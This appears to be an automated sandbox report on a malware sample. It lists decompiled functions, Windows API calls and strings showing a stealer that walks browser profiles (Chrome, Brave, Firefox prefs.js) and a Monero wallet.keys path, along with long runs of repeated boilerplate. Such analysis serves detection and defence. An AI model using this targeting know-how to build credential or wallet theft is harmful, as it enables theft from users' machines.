Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: AllocateHeapProtectVirtual
String ID: The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.$The Opus Theatre was founded by British-Argentine composer and concert pianist Polo Piatti and officially opened on 7 July 2017 in Hastings, in the United Kingdom.
API String ID: 1542196881-2218711628
Opcode ID: 43cf1a26d74cbff072a9c4b7f57b0de1e6821d069c02a814391dcfb4467a3eee
Instruction ID: 35753d260fa39bc95d54de7a2fc4adc24e3d5a6a3a8a12912d4769eddf7205f6
Opcode Fuzzy Hash: 43cf1a26d74cbff072a9c4b7f57b0de1e6821d069c02a814391dcfb4467a3eee
Instruction Fuzzy Hash: CB41D6A07C26CCEBD62CF7F4C84EE9E7B965F4A744F5052CAA900572C0CBB759904B25

Function 006EBE70 Relevance: 37.4, APIs: 17, Strings: 4, Instructions: 675
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Part of subcall function 006FA920: lstrcpy.KERNEL32(00000000,?), ref: 006FA972
Part of subcall function 006FA920: lstrcat.KERNEL32(00000000), ref: 006FA982

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

FindFirstFileA.KERNEL32(00000000,?,00700B32,00700B2B,00000000,?,?,?,007013F4,00700B2A), ref: 006EBEF5
StrCmpCA.SHLWAPI(?,007013F8), ref: 006EBF4D
StrCmpCA.SHLWAPI(?,007013FC), ref: 006EBF63
FindNextFileA.KERNELBASE(000000FF,?), ref: 006EC7BF
FindClose.KERNEL32(000000FF), ref: 006EC7D1

Strings

Google Chrome, xrefs: 006EC634
Preferences, xrefs: 006EC11E
Brave, xrefs: 006EC102
\Brave\Preferences, xrefs: 006EC1DB

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: Brave$Google Chrome$Preferences$\Brave\Preferences
API String ID: 3334442632-726946144
Opcode ID: 06de6c88d8c44bb364f0534aa7c1d807d975167fa8e82c6910d82c496fa2e54f
Instruction ID: f9a4bdf3a9d0fc6740bdc176801302f69bdb470c0d18befbf5dbe13bb7f94bc6
Opcode Fuzzy Hash: 06de6c88d8c44bb364f0534aa7c1d807d975167fa8e82c6910d82c496fa2e54f
Instruction Fuzzy Hash: F24256B29101089BCB54FBB0DD56EFD737EAF44300F40855CBA0E96191EE74AB4ACB96

Function 6C6635A0 Relevance: 37.0, APIs: 16, Strings: 5, Instructions: 294
stringtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InitializeCriticalSectionAndSpinCount.KERNEL32(6C6EF688,00001000), ref: 6C6635D5
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_TIMESTAMP_MODE), ref: 6C6635E0
QueryPerformanceFrequency.KERNEL32(?), ref: 6C6635FD
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,GenuntelineI,0000000C), ref: 6C66363F
GetSystemTimeAdjustment.KERNEL32(?,?,?), ref: 6C66369F
__aulldiv.LIBCMT ref: 6C6636E4
QueryPerformanceCounter.KERNEL32(?), ref: 6C663773
EnterCriticalSection.KERNEL32(6C6EF688), ref: 6C66377E
LeaveCriticalSection.KERNEL32(6C6EF688), ref: 6C6637BD
QueryPerformanceCounter.KERNEL32(?), ref: 6C6637C4
EnterCriticalSection.KERNEL32(6C6EF688), ref: 6C6637CB
LeaveCriticalSection.KERNEL32(6C6EF688), ref: 6C663801
__aulldiv.LIBCMT ref: 6C663883
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,QPC), ref: 6C663902
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,GTC), ref: 6C663918
_strnicmp.API-MS-WIN-CRT-STRING-L1-1-0(?,AuthcAMDenti,0000000C), ref: 6C66394C

Strings

QPC, xrefs: 6C6638FC
GenuntelineI, xrefs: 6C663639
MOZ_TIMESTAMP_MODE, xrefs: 6C6635DB
AuthcAMDenti, xrefs: 6C663946
GTC, xrefs: 6C663912

Memory Dump Source

Source File: 00000000.00000002.2278034076.000000006C661000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C660000, based on PE: true

Associated: 00000000.00000002.2278012281.000000006C660000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278093908.000000006C6DD000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278120606.000000006C6EE000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2278144838.000000006C6F2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c660000_file.jbxd

Similarity

API ID: CriticalSection$PerformanceQuery$CounterEnterLeave__aulldiv_strnicmpstrcmp$AdjustmentCountFrequencyInitializeSpinSystemTimegetenv
String ID: AuthcAMDenti$GTC$GenuntelineI$MOZ_TIMESTAMP_MODE$QPC
API String ID: 301339242-3790311718
Opcode ID: c766ed9490613484a7a8940decd4664cc085d43b3afdb84388f6ee9c2c3b98af
Instruction ID: c845f8233b14280e5054ba591d50af23a8d906602373a72ec8d9f71ec7c59301
Opcode Fuzzy Hash: c766ed9490613484a7a8940decd4664cc085d43b3afdb84388f6ee9c2c3b98af
Instruction Fuzzy Hash: C6B1B171B0D3109FDB48DF2AD89465ABBF5AB8E700F05892FE499D7790D63099018F8E

Function 006F4910 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 172
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

wsprintfA.USER32 ref: 006F492C
FindFirstFileA.KERNEL32(?,?), ref: 006F4943
StrCmpCA.SHLWAPI(?,00700FDC), ref: 006F4971
StrCmpCA.SHLWAPI(?,00700FE0), ref: 006F4987
FindNextFileA.KERNEL32(000000FF,?), ref: 006F4B7D
FindClose.KERNEL32(000000FF), ref: 006F4B92

Strings

%s\%s, xrefs: 006F49A4
%s\%s, xrefs: 006F49FB
%s\*, xrefs: 006F4920

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$%s\%s$%s\*
API String ID: 180737720-445461498
Opcode ID: 352b5439df4e1549513460e404fddb6734c00e9fdc80092f913950763a68e568
Instruction ID: 396f52cd5b63d9c55f97753d1b315feee42baa08eb7c2089e17c5cbf71eb0ae9
Opcode Fuzzy Hash: 352b5439df4e1549513460e404fddb6734c00e9fdc80092f913950763a68e568
Instruction Fuzzy Hash: CB6133B2910219ABCB30EBA0DC45FFA73BDBB48700F048588B60996141EF75AB85DF95

Function 006F3EA0 Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 133fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 006F3EC3
FindFirstFileA.KERNEL32(?,?), ref: 006F3EDA
StrCmpCA.SHLWAPI(?,00700FAC), ref: 006F3F08
StrCmpCA.SHLWAPI(?,00700FB0), ref: 006F3F1E
FindNextFileA.KERNEL32(000000FF,?), ref: 006F406C
FindClose.KERNEL32(000000FF), ref: 006F4081

Strings

%s\%s, xrefs: 006F3EB7

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s
API String ID: 180737720-4073750446
Opcode ID: dbc9169e7455d9a616a61c8a7011080ffe59171a9d33c87eabae29597ce51a11
Instruction ID: e2acac4ec512b3b5969443f476c242c385e4bbfcdeeb4ec56705f1e98d7ff99e
Opcode Fuzzy Hash: dbc9169e7455d9a616a61c8a7011080ffe59171a9d33c87eabae29597ce51a11
Instruction Fuzzy Hash: 825164B6914218ABCB24EBB0DC85EFA737DBB44300F00458CB75996180DB75EB869FA5

Function 006EF6B0 Relevance: 16.0, APIs: 8, Strings: 1, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

Part of subcall function 006FA920: lstrcpy.KERNEL32(00000000,?), ref: 006FA972
Part of subcall function 006FA920: lstrcat.KERNEL32(00000000), ref: 006FA982

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,007015B8,00700D96), ref: 006EF71E
StrCmpCA.SHLWAPI(?,007015BC), ref: 006EF76F
StrCmpCA.SHLWAPI(?,007015C0), ref: 006EF785
FindNextFileA.KERNELBASE(000000FF,?), ref: 006EFAB1
FindClose.KERNEL32(000000FF), ref: 006EFAC3

Strings

prefs.js, xrefs: 006EF812

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000885000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000008AB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.000000000093E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000AB8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000B8F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BB9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249520423.0000000000BC9000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249778424.0000000000BCA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249943231.0000000000D59000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249959717.0000000000D5A000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: prefs.js
API String ID: 3334442632-3783873740
Opcode ID: 31e0069a34c1e5c4685a4ba91ede5fd4fa0b2849ce5e56b0ca254882b3ca54f4
Instruction ID: 2efee4a8cf4f222f34825e3fe8e9fd33af208a7a2784d4e77e99e4c790c3d3df
Opcode Fuzzy Hash: 31e0069a34c1e5c4685a4ba91ede5fd4fa0b2849ce5e56b0ca254882b3ca54f4
Instruction Fuzzy Hash: E4B155B191020C9BCB64FFA0DC55EFE737AAF54300F4081ACA50E96195EF706B49CB96

Function 006E16D0 Relevance: 14.5, APIs: 7, Strings: 1, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 006FA740: lstrcpy.KERNEL32(00700E17,00000000), ref: 006FA788

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0070510C,?,?,?,007051B4,?,?,00000000,?,00000000), ref: 006E1923
StrCmpCA.SHLWAPI(?,0070525C), ref: 006E1973
StrCmpCA.SHLWAPI(?,00705304), ref: 006E1989
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 006E1D40
DeleteFileA.KERNEL32(00000000), ref: 006E1DCA
FindNextFileA.KERNEL32(000000FF,?), ref: 006E1E20
FindClose.KERNEL32(000000FF), ref: 006E1E32

Part of subcall function 006FA920: lstrcpy.KERNEL32(00000000,?), ref: 006FA972
Part of subcall function 006FA920: lstrcat.KERNEL32(00000000), ref: 006FA982

Part of subcall function 006FA9B0: lstrlen.KERNEL32(?,01658AF0,?,\Monero\wallet.keys,00700E17), ref: 006FA9C5
Part of subcall function 006FA9B0: lstrcpy.KERNEL32(00000000), ref: 006FAA04
Part of subcall function 006FA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 006FAA12

Part of subcall function 006FA8A0: lstrcpy.KERNEL32(?,00700E17), ref: 006FA905

Strings

\*.*, xrefs: 006E17F1

Memory Dump Source

Source File: 00000000.00000002.2249130927.00000000006E1000.00000040.00000001.01000000.00000003.sdmp, Offset: 006E0000, based on PE: true

Associated: 00000000.00000002.2249105615.00000000006E0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000073A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000765000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000768000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000076F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000772000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.0000000000791000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.000000000079D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007C2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007CF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007EF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2249130927.00000000007FE000.00000040.00000001.01000000.00000003.sdmpDownload File
